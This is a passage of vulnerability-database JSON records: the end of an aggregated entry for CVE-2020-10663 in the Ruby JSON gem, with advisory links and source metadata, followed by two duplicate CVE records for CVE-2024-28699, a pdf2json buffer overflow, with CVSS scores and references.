        "url": "https://github.com/soosmile/POC "
      },
      {
        "title": "PoC in GitHub",
        "trust": 0.1,
        "url": "https://github.com/developer3000S/PoC-in-GitHub "
      },
      {
        "title": "PoC in GitHub",
        "trust": 0.1,
        "url": "https://github.com/hectorgie/PoC-in-GitHub "
      },
      {
        "title": "veracode-container-security-finding-parser",
        "trust": 0.1,
        "url": "https://github.com/vincent-deng/veracode-container-security-finding-parser "
      },
      {
        "title": "PoC in GitHub",
        "trust": 0.1,
        "url": "https://github.com/0xT11/CVE-POC "
      }
    ],
    "sources": [
      {
        "db": "VULMON",
        "id": "CVE-2020-10663"
      },
      {
        "db": "JVNDB",
        "id": "JVNDB-2020-005087"
      }
    ]
  },
  "problemtype_data": {
    "_id": null,
    "data": [
      {
        "problemtype": "CWE-20",
        "trust": 1.9
      }
    ],
    "sources": [
      {
        "db": "VULHUB",
        "id": "VHN-163164"
      },
      {
        "db": "JVNDB",
        "id": "JVNDB-2020-005087"
      },
      {
        "db": "NVD",
        "id": "CVE-2020-10663"
      }
    ]
  },
  "references": {
    "_id": null,
    "data": [
      {
        "trust": 1.6,
        "url": "https://nvd.nist.gov/vuln/detail/cve-2020-10663"
      },
      {
        "trust": 1.3,
        "url": "https://www.debian.org/security/2020/dsa-4721"
      },
      {
        "trust": 1.2,
        "url": "https://security.netapp.com/advisory/ntap-20210129-0003/"
      },
      {
        "trust": 1.2,
        "url": "https://support.apple.com/kb/ht211931"
      },
      {
        "trust": 1.2,
        "url": "https://www.ruby-lang.org/en/news/2020/03/19/json-dos-cve-2020-10663/"
      },
      {
        "trust": 1.2,
        "url": "http://seclists.org/fulldisclosure/2020/dec/32"
      },
      {
        "trust": 1.2,
        "url": "https://lists.debian.org/debian-lts-announce/2020/04/msg00030.html"
      },
      {
        "trust": 1.2,
        "url": "http://lists.opensuse.org/opensuse-security-announce/2020-05/msg00004.html"
      },
      {
        "trust": 1.1,
        "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/7ql6mjd2bo4irj5cjfnmcdymqqft24bj/"
      },
      {
        "trust": 1.1,
        "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/nk2pbxwmfrud7u7q7lhv4kylyid77ri4/"
      },
      {
        "trust": 1.1,
        "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/f4tnvtt66vprmx5uzysdgsvrxkkdddu5/"
      },
      {
        "trust": 1.1,
        "url": "https://lists.apache.org/thread.html/r8d2e174230f6d26e16c007546e804c343f1f68956f526daaafa4aaae%40%3cdev.zookeeper.apache.org%3e"
      },
      {
        "trust": 1.1,
        "url": "https://lists.apache.org/thread.html/rd9b9cc843f5cf5b532bdad9e87a817967efcf52b917e8c43b6df4cc7%40%3cissues.zookeeper.apache.org%3e"
      },
      {
        "trust": 1.1,
        "url": "https://lists.apache.org/thread.html/ree3abcd33c06ee95ab59faa1751198a1186d8941ddc2c2562c12966c%40%3cissues.zookeeper.apache.org%3e"
      },
      {
        "trust": 1.1,
        "url": "https://lists.apache.org/thread.html/rb023d54a46da1ac0d8969097f5fecc79636b07d3b80db7b818a5c55c%40%3cissues.zookeeper.apache.org%3e"
      },
      {
        "trust": 1.1,
        "url": "https://lists.apache.org/thread.html/rb2b981912446a74e14fe6076c4b7c7d8502727ea0718e6a65a9b1be5%40%3cissues.zookeeper.apache.org%3e"
      },
      {
        "trust": 1.1,
        "url": "https://lists.apache.org/thread.html/r5f17bfca1d6e7f4b33ae978725b2fd62a9f1b3111696eafa9add802d%40%3cissues.zookeeper.apache.org%3e"
      },
      {
        "trust": 1.1,
        "url": "https://lists.apache.org/thread.html/rec8bb4d637b04575da41cfae49118e108e95d43bfac39b7b698ee4db%40%3cissues.zookeeper.apache.org%3e"
      },
      {
        "trust": 1.1,
        "url": "https://lists.apache.org/thread.html/r37c0e1807da7ff2bdd028bbe296465a6bbb99e2320dbe661d5d8b33b%40%3cissues.zookeeper.apache.org%3e"
      },
      {
        "trust": 1.1,
        "url": "https://lists.apache.org/thread.html/r3b04f4e99a19613f88ae088aa18cd271231a3c79dfff8f5efa8cda61%40%3cissues.zookeeper.apache.org%3e"
      },
      {
        "trust": 0.8,
        "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2020-10663"
      },
      {
        "trust": 0.7,
        "url": "https://access.redhat.com/security/cve/cve-2020-10663"
      },
      {
        "trust": 0.7,
        "url": "https://access.redhat.com/articles/11258"
      },
      {
        "trust": 0.7,
        "url": "https://access.redhat.com/security/team/key/"
      },
      {
        "trust": 0.7,
        "url": "https://access.redhat.com/security/team/contact/"
      },
      {
        "trust": 0.7,
        "url": "https://bugzilla.redhat.com/):"
      },
      {
        "trust": 0.6,
        "url": "https://access.redhat.com/security/updates/classification/#moderate"
      },
      {
        "trust": 0.5,
        "url": "https://nvd.nist.gov/vuln/detail/cve-2020-10933"
      },
      {
        "trust": 0.4,
        "url": "https://access.redhat.com/security/cve/cve-2020-10933"
      },
      {
        "trust": 0.4,
        "url": "https://nvd.nist.gov/vuln/detail/cve-2019-15845"
      },
      {
        "trust": 0.4,
        "url": "https://access.redhat.com/security/cve/cve-2020-25613"
      },
      {
        "trust": 0.4,
        "url": "https://access.redhat.com/security/cve/cve-2019-16255"
      },
      {
        "trust": 0.4,
        "url": "https://access.redhat.com/security/cve/cve-2019-16201"
      },
      {
        "trust": 0.4,
        "url": "https://access.redhat.com/security/cve/cve-2019-16254"
      },
      {
        "trust": 0.4,
        "url": "https://nvd.nist.gov/vuln/detail/cve-2019-16254"
      },
      {
        "trust": 0.4,
        "url": "https://access.redhat.com/security/cve/cve-2019-15845"
      },
      {
        "trust": 0.4,
        "url": "https://nvd.nist.gov/vuln/detail/cve-2019-16201"
      },
      {
        "trust": 0.4,
        "url": "https://access.redhat.com/security/cve/cve-2021-28965"
      },
      {
        "trust": 0.4,
        "url": "https://listman.redhat.com/mailman/listinfo/rhsa-announce"
      },
      {
        "trust": 0.4,
        "url": "https://nvd.nist.gov/vuln/detail/cve-2021-28965"
      },
      {
        "trust": 0.4,
        "url": "https://nvd.nist.gov/vuln/detail/cve-2019-16255"
      },
      {
        "trust": 0.4,
        "url": "https://nvd.nist.gov/vuln/detail/cve-2020-25613"
      },
      {
        "trust": 0.3,
        "url": "https://www.redhat.com/mailman/listinfo/rhsa-announce"
      },
      {
        "trust": 0.2,
        "url": "https://access.redhat.com/errata/rhsa-2020:2473"
      },
      {
        "trust": 0.1,
        "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/7ql6mjd2bo4irj5cjfnmcdymqqft24bj/"
      },
      {
        "trust": 0.1,
        "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/f4tnvtt66vprmx5uzysdgsvrxkkdddu5/"
      },
      {
        "trust": 0.1,
        "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/nk2pbxwmfrud7u7q7lhv4kylyid77ri4/"
      },
      {
        "trust": 0.1,
        "url": "https://lists.apache.org/thread.html/r8d2e174230f6d26e16c007546e804c343f1f68956f526daaafa4aaae@%3cdev.zookeeper.apache.org%3e"
      },
      {
        "trust": 0.1,
        "url": "https://lists.apache.org/thread.html/rd9b9cc843f5cf5b532bdad9e87a817967efcf52b917e8c43b6df4cc7@%3cissues.zookeeper.apache.org%3e"
      },
      {
        "trust": 0.1,
        "url": "https://lists.apache.org/thread.html/ree3abcd33c06ee95ab59faa1751198a1186d8941ddc2c2562c12966c@%3cissues.zookeeper.apache.org%3e"
      },
      {
        "trust": 0.1,
        "url": "https://lists.apache.org/thread.html/rb023d54a46da1ac0d8969097f5fecc79636b07d3b80db7b818a5c55c@%3cissues.zookeeper.apache.org%3e"
      },
      {
        "trust": 0.1,
        "url": "https://lists.apache.org/thread.html/rb2b981912446a74e14fe6076c4b7c7d8502727ea0718e6a65a9b1be5@%3cissues.zookeeper.apache.org%3e"
      },
      {
        "trust": 0.1,
        "url": "https://lists.apache.org/thread.html/r5f17bfca1d6e7f4b33ae978725b2fd62a9f1b3111696eafa9add802d@%3cissues.zookeeper.apache.org%3e"
      },
      {
        "trust": 0.1,
        "url": "https://lists.apache.org/thread.html/rec8bb4d637b04575da41cfae49118e108e95d43bfac39b7b698ee4db@%3cissues.zookeeper.apache.org%3e"
      },
      {
        "trust": 0.1,
        "url": "https://lists.apache.org/thread.html/r3b04f4e99a19613f88ae088aa18cd271231a3c79dfff8f5efa8cda61@%3cissues.zookeeper.apache.org%3e"
      },
      {
        "trust": 0.1,
        "url": "https://lists.apache.org/thread.html/r37c0e1807da7ff2bdd028bbe296465a6bbb99e2320dbe661d5d8b33b@%3cissues.zookeeper.apache.org%3e"
      },
      {
        "trust": 0.1,
        "url": "https://cwe.mitre.org/data/definitions/20.html"
      },
      {
        "trust": 0.1,
        "url": "https://github.com/careerjsm/mandrill-api-ruby"
      },
      {
        "trust": 0.1,
        "url": "https://nvd.nist.gov"
      },
      {
        "trust": 0.1,
        "url": "https://security-tracker.debian.org/tracker/ruby2.5"
      },
      {
        "trust": 0.1,
        "url": "https://www.debian.org/security/faq"
      },
      {
        "trust": 0.1,
        "url": "https://www.debian.org/security/"
      },
      {
        "trust": 0.1,
        "url": "https://access.redhat.com/errata/rhsa-2021:2104"
      },
      {
        "trust": 0.1,
        "url": "https://access.redhat.com/errata/rhsa-2021:2587"
      },
      {
        "trust": 0.1,
        "url": "https://access.redhat.com/documentation/en-us/red_hat_software_collections/3/html/3.7_release_notes/"
      },
      {
        "trust": 0.1,
        "url": "https://nvd.nist.gov/vuln/detail/cve-2019-3881"
      },
      {
        "trust": 0.1,
        "url": "https://access.redhat.com/security/cve/cve-2019-3881"
      },
      {
        "trust": 0.1,
        "url": "https://access.redhat.com/errata/rhsa-2021:2230"
      },
      {
        "trust": 0.1,
        "url": "https://access.redhat.com/errata/rhsa-2020:2670"
      },
      {
        "trust": 0.1,
        "url": "https://access.redhat.com/errata/rhsa-2020:2462"
      },
      {
        "trust": 0.1,
        "url": "https://access.redhat.com/security/cve/cve-2020-36327"
      },
      {
        "trust": 0.1,
        "url": "https://access.redhat.com/security/cve/cve-2021-32066"
      },
      {
        "trust": 0.1,
        "url": "https://access.redhat.com/errata/rhsa-2022:0581"
      },
      {
        "trust": 0.1,
        "url": "https://access.redhat.com/security/updates/classification/#important"
      },
      {
        "trust": 0.1,
        "url": "https://nvd.nist.gov/vuln/detail/cve-2021-41817"
      },
      {
        "trust": 0.1,
        "url": "https://nvd.nist.gov/vuln/detail/cve-2021-31810"
      },
      {
        "trust": 0.1,
        "url": "https://access.redhat.com/security/cve/cve-2021-31810"
      },
      {
        "trust": 0.1,
        "url": "https://nvd.nist.gov/vuln/detail/cve-2021-32066"
      },
      {
        "trust": 0.1,
        "url": "https://access.redhat.com/security/cve/cve-2021-31799"
      },
      {
        "trust": 0.1,
        "url": "https://nvd.nist.gov/vuln/detail/cve-2021-31799"
      },
      {
        "trust": 0.1,
        "url": "https://access.redhat.com/articles/6206172"
      },
      {
        "trust": 0.1,
        "url": "https://nvd.nist.gov/vuln/detail/cve-2020-36327"
      },
      {
        "trust": 0.1,
        "url": "https://access.redhat.com/security/cve/cve-2021-41819"
      },
      {
        "trust": 0.1,
        "url": "https://access.redhat.com/security/cve/cve-2021-41817"
      },
      {
        "trust": 0.1,
        "url": "https://nvd.nist.gov/vuln/detail/cve-2021-41819"
      }
    ],
    "sources": [
      {
        "db": "VULHUB",
        "id": "VHN-163164"
      },
      {
        "db": "VULMON",
        "id": "CVE-2020-10663"
      },
      {
        "db": "PACKETSTORM",
        "id": "168868"
      },
      {
        "db": "PACKETSTORM",
        "id": "162764"
      },
      {
        "db": "PACKETSTORM",
        "id": "163317"
      },
      {
        "db": "PACKETSTORM",
        "id": "162953"
      },
      {
        "db": "PACKETSTORM",
        "id": "158184"
      },
      {
        "db": "PACKETSTORM",
        "id": "158023"
      },
      {
        "db": "PACKETSTORM",
        "id": "158018"
      },
      {
        "db": "PACKETSTORM",
        "id": "166070"
      },
      {
        "db": "JVNDB",
        "id": "JVNDB-2020-005087"
      },
      {
        "db": "NVD",
        "id": "CVE-2020-10663"
      }
    ]
  },
  "sources": {
    "_id": null,
    "data": [
      {
        "db": "VULHUB",
        "id": "VHN-163164",
        "ident": null
      },
      {
        "db": "VULMON",
        "id": "CVE-2020-10663",
        "ident": null
      },
      {
        "db": "PACKETSTORM",
        "id": "168868",
        "ident": null
      },
      {
        "db": "PACKETSTORM",
        "id": "162764",
        "ident": null
      },
      {
        "db": "PACKETSTORM",
        "id": "163317",
        "ident": null
      },
      {
        "db": "PACKETSTORM",
        "id": "162953",
        "ident": null
      },
      {
        "db": "PACKETSTORM",
        "id": "158184",
        "ident": null
      },
      {
        "db": "PACKETSTORM",
        "id": "158023",
        "ident": null
      },
      {
        "db": "PACKETSTORM",
        "id": "158018",
        "ident": null
      },
      {
        "db": "PACKETSTORM",
        "id": "166070",
        "ident": null
      },
      {
        "db": "JVNDB",
        "id": "JVNDB-2020-005087",
        "ident": null
      },
      {
        "db": "NVD",
        "id": "CVE-2020-10663",
        "ident": null
      }
    ]
  },
  "sources_release_date": {
    "_id": null,
    "data": [
      {
        "date": "2020-04-28T00:00:00",
        "db": "VULHUB",
        "id": "VHN-163164",
        "ident": null
      },
      {
        "date": "2020-04-28T00:00:00",
        "db": "VULMON",
        "id": "CVE-2020-10663",
        "ident": null
      },
      {
        "date": "2020-07-28T19:12:00",
        "db": "PACKETSTORM",
        "id": "168868",
        "ident": null
      },
      {
        "date": "2021-05-25T14:44:09",
        "db": "PACKETSTORM",
        "id": "162764",
        "ident": null
      },
      {
        "date": "2021-06-30T15:20:46",
        "db": "PACKETSTORM",
        "id": "163317",
        "ident": null
      },
      {
        "date": "2021-06-03T15:13:27",
        "db": "PACKETSTORM",
        "id": "162953",
        "ident": null
      },
      {
        "date": "2020-06-23T15:00:55",
        "db": "PACKETSTORM",
        "id": "158184",
        "ident": null
      },
      {
        "date": "2020-06-10T15:13:03",
        "db": "PACKETSTORM",
        "id": "158023",
        "ident": null
      },
      {
        "date": "2020-06-10T15:10:17",
        "db": "PACKETSTORM",
        "id": "158018",
        "ident": null
      },
      {
        "date": "2022-02-21T15:09:47",
        "db": "PACKETSTORM",
        "id": "166070",
        "ident": null
      },
      {
        "date": "2020-06-05T00:00:00",
        "db": "JVNDB",
        "id": "JVNDB-2020-005087",
        "ident": null
      },
      {
        "date": "2020-04-28T21:15:11.667000",
        "db": "NVD",
        "id": "CVE-2020-10663",
        "ident": null
      }
    ]
  },
  "sources_update_date": {
    "_id": null,
    "data": [
      {
        "date": "2022-04-18T00:00:00",
        "db": "VULHUB",
        "id": "VHN-163164",
        "ident": null
      },
      {
        "date": "2023-11-07T00:00:00",
        "db": "VULMON",
        "id": "CVE-2020-10663",
        "ident": null
      },
      {
        "date": "2020-06-05T00:00:00",
        "db": "JVNDB",
        "id": "JVNDB-2020-005087",
        "ident": null
      },
      {
        "date": "2024-11-21T04:55:47.670000",
        "db": "NVD",
        "id": "CVE-2020-10663",
        "ident": null
      }
    ]
  },
  "title": {
    "_id": null,
    "data": "JSON gem Input verification vulnerability in",
    "sources": [
      {
        "db": "JVNDB",
        "id": "JVNDB-2020-005087"
      }
    ],
    "trust": 0.8
  },
  "type": {
    "_id": null,
    "data": "spoof, code execution",
    "sources": [
      {
        "db": "PACKETSTORM",
        "id": "166070"
      }
    ],
    "trust": 0.1
  }
}

    CVE-2024-28699 (GCVE-0-2024-28699)

    Vulnerability from nvd – Published: 2024-04-22 00:00 – Updated: 2026-07-09 00:30
    VLAI
    Summary
    A buffer overflow vulnerability in pdf2json v0.70 allows a local attacker to execute arbitrary code via the GString::copy() and ImgOutputDev::ImgOutputDev function.
    Severity
    7.8 (High)
    CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    SSVC
    Exploitation: poc Automatable: no Technical Impact: total
    CISA Coordinator · CISA-ADP (v2.0.3)
    Decision recorded 2024-05-14 17:46 UTC
    CWE
    • n/a
    • CWE-94 - Improper Control of Generation of Code ('Code Injection')
    Assigner
    References
    Impacted products
    Vendor Product Version
    json pdf2json Affected: 0.70
        cpe:2.3:a:json:pdf2json:0.70:*:*:*:*:*:*:*
    		Create a notification for this product.
    Show details on NVD website
    To clipboard 

    {
  "containers": {
    "adp": [
      {
        "affected": [
          {
            "cpes": [
              "cpe:2.3:a:json:pdf2json:0.70:*:*:*:*:*:*:*"
            ],
            "defaultStatus": "unknown",
            "product": "pdf2json",
            "vendor": "json",
            "versions": [
              {
                "status": "affected",
                "version": "0.70"
              }
            ]
          }
        ],
        "metrics": [
          {
            "cvssV3_1": {
              "attackComplexity": "LOW",
              "attackVector": "LOCAL",
              "availabilityImpact": "HIGH",
              "baseScore": 7.8,
              "baseSeverity": "HIGH",
              "confidentialityImpact": "HIGH",
              "integrityImpact": "HIGH",
              "privilegesRequired": "LOW",
              "scope": "UNCHANGED",
              "userInteraction": "NONE",
              "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
              "version": "3.1"
            }
          },
          {
            "other": {
              "content": {
                "id": "CVE-2024-28699",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-05-14T17:46:57.000478Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "problemTypes": [
          {
            "descriptions": [
              {
                "cweId": "CWE-94",
                "description": "CWE-94 Improper Control of Generation of Code (\u0027Code Injection\u0027)",
                "lang": "en",
                "type": "CWE"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-06-04T18:03:11.563Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2026-07-09T00:30:35.486Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://github.com/flexpaper/pdf2json"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://github.com/flexpaper/pdf2json/issues/52"
          }
        ],
        "title": "CVE Program Container"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "n/a",
          "vendor": "n/a",
          "versions": [
            {
              "status": "affected",
              "version": "n/a"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "A buffer overflow vulnerability in pdf2json v0.70 allows a local attacker to execute arbitrary code via the GString::copy() and ImgOutputDev::ImgOutputDev function."
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "description": "n/a",
              "lang": "en",
              "type": "text"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-07-05T00:39:04.501Z",
        "orgId": "8254265b-2729-46b6-b9e3-3dfca2d5bfca",
        "shortName": "mitre"
      },
      "references": [
        {
          "url": "https://github.com/flexpaper/pdf2json"
        },
        {
          "url": "https://github.com/flexpaper/pdf2json/issues/52"
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "8254265b-2729-46b6-b9e3-3dfca2d5bfca",
    "assignerShortName": "mitre",
    "cveId": "CVE-2024-28699",
    "datePublished": "2024-04-22T00:00:00.000Z",
    "dateReserved": "2024-03-08T00:00:00.000Z",
    "dateUpdated": "2026-07-09T00:30:35.486Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

    CVE-2024-28699 (GCVE-0-2024-28699)

    Vulnerability from cvelistv5 – Published: 2024-04-22 00:00 – Updated: 2026-07-09 00:30
    VLAI
    Summary
    A buffer overflow vulnerability in pdf2json v0.70 allows a local attacker to execute arbitrary code via the GString::copy() and ImgOutputDev::ImgOutputDev function.
    Severity
    7.8 (High)
    CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    SSVC
    Exploitation: poc Automatable: no Technical Impact: total
    CISA Coordinator · CISA-ADP (v2.0.3)
    Decision recorded 2024-05-14 17:46 UTC
    CWE
    • n/a
    • CWE-94 - Improper Control of Generation of Code ('Code Injection')
    Assigner
    References
    Impacted products
    Vendor Product Version
    json pdf2json Affected: 0.70
        cpe:2.3:a:json:pdf2json:0.70:*:*:*:*:*:*:*
    		Create a notification for this product.
    Show details on NVD website
    To clipboard 

    {
  "containers": {
    "adp": [
      {
        "affected": [
          {
            "cpes": [
              "cpe:2.3:a:json:pdf2json:0.70:*:*:*:*:*:*:*"
            ],
            "defaultStatus": "unknown",
            "product": "pdf2json",
            "vendor": "json",
            "versions": [
              {
                "status": "affected",
                "version": "0.70"
              }
            ]
          }
        ],
        "metrics": [
          {
            "cvssV3_1": {
              "attackComplexity": "LOW",
              "attackVector": "LOCAL",
              "availabilityImpact": "HIGH",
              "baseScore": 7.8,
              "baseSeverity": "HIGH",
              "confidentialityImpact": "HIGH",
              "integrityImpact": "HIGH",
              "privilegesRequired": "LOW",
              "scope": "UNCHANGED",
              "userInteraction": "NONE",
              "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
              "version": "3.1"
            }
          },
          {
            "other": {
              "content": {
                "id": "CVE-2024-28699",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-05-14T17:46:57.000478Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "problemTypes": [
          {
            "descriptions": [
              {
                "cweId": "CWE-94",
                "description": "CWE-94 Improper Control of Generation of Code (\u0027Code Injection\u0027)",
                "lang": "en",
                "type": "CWE"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-06-04T18:03:11.563Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2026-07-09T00:30:35.486Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://github.com/flexpaper/pdf2json"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://github.com/flexpaper/pdf2json/issues/52"
          }
        ],
        "title": "CVE Program Container"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "n/a",
          "vendor": "n/a",
          "versions": [
            {
              "status": "affected",
              "version": "n/a"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "A buffer overflow vulnerability in pdf2json v0.70 allows a local attacker to execute arbitrary code via the GString::copy() and ImgOutputDev::ImgOutputDev function."
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "description": "n/a",
              "lang": "en",
              "type": "text"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-07-05T00:39:04.501Z",
        "orgId": "8254265b-2729-46b6-b9e3-3dfca2d5bfca",
        "shortName": "mitre"
      },
      "references": [
        {
          "url": "https://github.com/flexpaper/pdf2json"
        },
        {
          "url": "https://github.com/flexpaper/pdf2json/issues/52"
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "8254265b-2729-46b6-b9e3-3dfca2d5bfca",
    "assignerShortName": "mitre",
    "cveId": "CVE-2024-28699",
    "datePublished": "2024-04-22T00:00:00.000Z",
    "dateReserved": "2024-03-08T00:00:00.000Z",
    "dateUpdated": "2026-07-09T00:30:35.486Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}